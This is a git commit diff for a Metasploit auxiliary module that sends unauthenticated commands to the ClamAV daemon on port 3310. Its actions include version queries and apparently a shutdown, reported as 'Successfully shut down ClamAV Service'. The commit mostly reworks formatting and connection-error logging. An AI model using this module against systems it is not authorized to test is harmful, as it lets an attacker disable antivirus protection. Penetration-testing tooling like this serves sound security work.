Updated logging, but still probably wrong.
parent
813777a8e4
commit
c130495968
|
@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'References' => [
|
'References' => [
|
||||||
[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],
|
[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],
|
||||||
[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]
|
[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Jun 8 2016',
|
'DisclosureDate' => 'Jun 8 2016',
|
||||||
'Actions' => [
|
'Actions' => [
|
||||||
[ 'VERSION', 'Description' => 'Get Version Information' ],
|
[ 'VERSION', 'Description' => 'Get Version Information' ],
|
||||||
|
@ -36,19 +36,26 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'DefaultAction' => 'VERSION'
|
'DefaultAction' => 'VERSION'
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
register_options([
|
register_options(
|
||||||
Opt::RPORT(3310)
|
[
|
||||||
], self.class)
|
Opt::RPORT(3310)
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(_ip)
|
||||||
begin
|
begin
|
||||||
connect
|
connect
|
||||||
sock.put(action.name + "\n")
|
sock.put(action.name + "\n")
|
||||||
print_good(sock.get_once)
|
print_good(sock.get_once)
|
||||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
|
rescue Rex::ConnectionRefused
|
||||||
|
ilog("Connection Refused")
|
||||||
|
rescue Rex::ConnectionTimeout
|
||||||
|
ilog("Connection Timeout")
|
||||||
|
rescue Rex::HostUnreachable
|
||||||
|
ilog("Host Unreachable")
|
||||||
rescue EOFError
|
rescue EOFError
|
||||||
print_bad('Successfully shut down ClamAV Service')
|
print_good('Successfully shut down ClamAV Service')
|
||||||
ensure
|
ensure
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue